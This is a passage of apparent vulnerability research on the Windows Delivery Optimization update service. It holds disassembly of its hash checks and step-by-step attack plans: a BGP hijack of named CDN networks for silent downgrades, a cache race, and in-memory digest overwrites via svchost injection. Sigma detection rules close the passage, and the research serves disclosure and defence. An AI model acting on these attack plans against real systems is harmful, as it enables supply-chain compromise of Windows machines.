verify that the assembly containing this type is loaded.

import ssl, socket
hostname = '1d.tlu.dl.delivery.mp.microsoft.com'
ctx = ssl.create_default_context()
with socket.create_connection((hostname, 443)) as sock:
    with ctx.wrap_socket(sock, server_hostname=hostname) as ssock:
        cert = ssock.getpeercert()

ssl.SSLError: [SSL: TLSV1_ALERT_INTERNAL_ERROR]
tlsv1 alert internal error (_ssl.c:1081)

http://1d.tlu.dl.delivery.mp.microsoft.com
  /filestreamingservice/files/
  d594bbb4-ac3e-48e7-bf6a-865b342682fb
  ?P1=1773174886
  &P2=404
  &P3=2
  &P4=nQj5O3578pVzkB0OEZZeN/Njq7gDIUrmcT+6xq4hO1DW9M3I1g8jPSasJE4z
      k6aZZgjqqjWaX0azw+k0zZ8lAQ==

PeerBanIntervalSecs  - How long a peer stays banned after hitting the limit
PeerBanLimit        - Number of failures before a peer is banned
CdnBanIntervalSecs  - How long a CDN host stays banned
CdnBanLimit         - Number of failures before a CDN host is banned

Call site 1:  0x18001493f  →  per-chunk SHA-1 verification
Call site 2:  0x1800d9d83  →  PHF-level integrity check

IAT Address    Function
0x1801a3060    BCryptOpenAlgorithmProvider
0x1801a3068    BCryptCreateHash
0x1801a3070    BCryptHashData
0x1801a3078    BCryptFinishHash
0x1801a3038    BCryptDestroyHash

; Digest output buffer size = 0x14 bytes (20 bytes = SHA-1)
movq   $0x14, 0x48(%rsp)

; Flags: BCRYPT_HASH_REUSABLE_FLAG combined
mov    $0x1c000, %r9d
lea    0xa(%rdx), %ecx        ; hash object index
call   BCryptCreateHash        ; IAT 0x1801a3068
; rsi = hash handle

; Feed chunk data into the hash state
mov    0x38(%rsp), %rax        ; chunk data pointer
mov    %rax, 0x50(%rsp)
mov    $0x10000, %r9d          ; chunk data length
call   BCryptHashData           ; IAT 0x1801a3070

; Finalize: 20-byte digest written to [rsp+0x48]
xor    %edx, %edx
mov    %rsi, %rcx
call   BCryptFinishHash         ; IAT 0x1801a3078
; rdi = computed SHA-1 digest (20 bytes)

; Compare computed digest against stored PHF entry
mov    0x40(%rsp), %rcx        ; chunk metadata object pointer
mov    0x20(%rcx), %rcx        ; stored expected digest at struct offset +0x20
call   0x1800917f0              ; compare and swap stored hash handle

mov    $0x800c, %edx           ; CALG_SHA_256 = 0x800C (CryptoAPI constant)
xor    %ecx, %ecx
call   *[0x1801a3028]           ; CryptCreateHash via legacy CryptoAPI

0x1800b4b7b:  mov $0x800b0001, %edi    ; TRUST_E_PROVIDER_UNKNOWN
0x1800b4b96:  mov $0x800b0003, %edi    ; TRUST_E_SUBJECT_FORM_UNKNOWN
0x1800b4c26:  mov $0x800b0004, %edi    ; TRUST_E_SUBJECT_NOT_TRUSTED

0x180010df2:  call *[0x1801a3158]    ; QueryContextAttributes (SECPKG_ATTR_STREAM_SIZES)
0x180010e35:  call *[0x1801a3120]    ; QueryContextAttributes (header size)
0x180010e7c:  call *[0x1801a3148]    ; QueryContextAttributes (trailer size)
0x180010f22:  call *[0x1801a3060]    ; BCryptOpenAlgorithmProvider
0x180010f5a:  call *[0x1801a3128]    ; DeleteSecurityContext / FreeCredentialsHandle

struct DOChunkMetadata {
    // fields at offsets 0x00 - 0x1F
    void*    pExpectedDigest;    // +0x20  stored SHA-1 from PHF (compared at verify time)
    // ...
    void*    pHashHandle;        // +0xC8  live BCrypt hash object
    // ...
    void*    pChainEntry;        // +0xF0  linked list of hash handles
    // ...
    DWORD    dwRefCount;         // +0x110 reference-counted lifetime
};

Step A: BGP hijack targeting AS199524 (G-Core Labs) or AS215724 (Edgevana).
        Announce more-specific prefix for CDN IP ranges to route victim
        traffic to attacker-controlled infrastructure.

Step B: Victim DO client resolves 1d.tlu.dl.delivery.mp.microsoft.com.
        Azure Traffic Manager CNAME hands off to gcdn.co alias.
        Attacker BGP announcement intercepts from that point.
        TLS handshake completes with attacker certificate.
        No pinning rejects it.

Step C: Attacker serves a substituted PHF referencing SHA-1 hashes
        of legitimately-signed older Windows component chunks.
        PHF passes "hash of hashes" validation because DO validates
        the PHF against the hash received from the same compromised channel.

Step D: Attacker serves old legitimate chunks matching the PHF.
        Each chunk passes Gate 1 (SHA-1 matches attacker PHF).

Step E: Assembled file passes Gate 2 (Authenticode).
        Old build was validly signed by Microsoft.
        That signature is cryptographically valid today.
        No version field is checked anywhere in the verified chain.

Result: Machine silently installs an older component version containing
        known unpatched CVEs. No error. No user-visible indicator.
        ETW-only logging. Windows Update UI shows success.

Prerequisite: Administrator-level access on target machine.

Step A: Monitor C:\Windows\SoftwareDistribution\Download\ with
        ReadDirectoryChangesW. Detect chunk file write by DoSvc.

Step B: Race window exists between chunk write to disk and
        final assembly step.

Step C: Binary analysis confirms the SHA-1 comparison is in-memory
        and does not re-read from disk for the comparison itself.
        Whether the raw chunk bytes used during file assembly are
        taken from the in-memory buffer or re-read from disk is not
        determinable from static analysis alone. If DoSvc re-reads
        from disk during assembly, the window is exploitable.
        Exact window size requires live WinDbg instrumentation.

Prerequisite: Code injection capability into svchost.exe hosting DoSvc.

The PHF lives in memory only. Binary analysis confirms the stored
expected digest sits at DOChunkMetadata+0x20 and is kept live in
the heap for the download session lifetime.

A process injection payload that locates this structure and overwrites
the expected digest entries with attacker-chosen SHA-1 values would
allow serving arbitrary chunks that pass Gate 1.

Gate 2 (Authenticode) still applies to the assembled result.
Target function for instrumentation: CMetaInfo::_CheckHashes
(confirmed from doclient.dll string analysis).

Vector                   Prereq               Impact     Status
------------------------ -------------------- ---------- -------------------
BGP Hijack + downgrade   BGP capability       CRITICAL   Structural gap confirmed
PHF Memory Injection     svchost injection    HIGH       Confirmed attack surface
TOCTOU Race (cache)      Admin access         MEDIUM     Window exists, size TBD
P4 Token Replay          On-path observation  MEDIUM     Token plaintext, expiry TBD
SHA-1 Collision + swap   PHF control first    LOW        Blocked by Authenticode
Arbitrary content inject CDN control          BLOCKED    WinVerifyTrust holds

title: Delivery Optimization Cache Modification by Non-DO Process
id: DO-001
status: experimental
description: |
  Detects file writes to the DO cache directory from processes other
  than the legitimate DoSvc host (svchost.exe). Any write to this
  directory from a non-svchost process is anomalous and may indicate
  a TOCTOU exploitation attempt or cache poisoning.
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'C:\Windows\SoftwareDistribution\Download\'
        EventType: FileCreate
    filter_legitimate:
        Image|endswith: '\svchost.exe'
    condition: selection and not filter_legitimate
falsepositives:
    - DISM cleanup operations
    - Windows Update troubleshooter tools
level: high
tags:
    - attack.persistence
    - attack.defense_evasion
    - attack.t1574

title: Delivery Optimization Peer Ban Rate Anomaly
id: DO-002
status: experimental
description: |
  High rate of peer bans within a short window indicates an active
  chunk poisoning attempt. DO bans peers that repeatedly serve bad
  chunks. A burst of bans suggests the ban threshold is being hit
  by a sustained attack.
  Source: ETW provider f8ad09ba-419c-5134-1750-270f4d0fb889
logsource:
    product: windows
    service: delivery-optimization
detection:
    keywords:
        - 'Rejecting banned peer'
        - 'piece failed hash check'
    timeframe: 5m
    condition: keywords | count() > 3
falsepositives:
    - Network instability causing legitimate hash failures
    - Flaky CDN edge node serving corrupt data
level: medium
tags:
    - attack.supply_chain
    - attack.t1195.002

title: Delivery Optimization Traffic to Third-Party CDN ASN
id: DO-003
status: experimental
description: |
  Detects svchost.exe making connections to IP ranges belonging to
  G-Core Labs (AS199524) or Edgevana (AS215724), the two third-party
  CDN operators confirmed in the DO delivery chain by this research.
  In isolation this is expected behavior by design. Use for:
  1. Inventory: confirm which machines route updates through
     third-party CDNs vs. Microsoft CDN directly.
  2. Alerting: unexpected volume or timing of these connections
     may indicate a BGP hijack routing victim traffic to attacker CDN.
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\svchost.exe'
        DestinationIp|cidr:
            - '92.223.0.0/16'       # G-Core Labs AS199524
            - '14.102.224.0/20'     # Edgevana AS215724
    condition: selection
falsepositives:
    - Normal DO update downloads (by design, use for inventory)
level: informational
tags:
    - attack.supply_chain
    - attack.t1195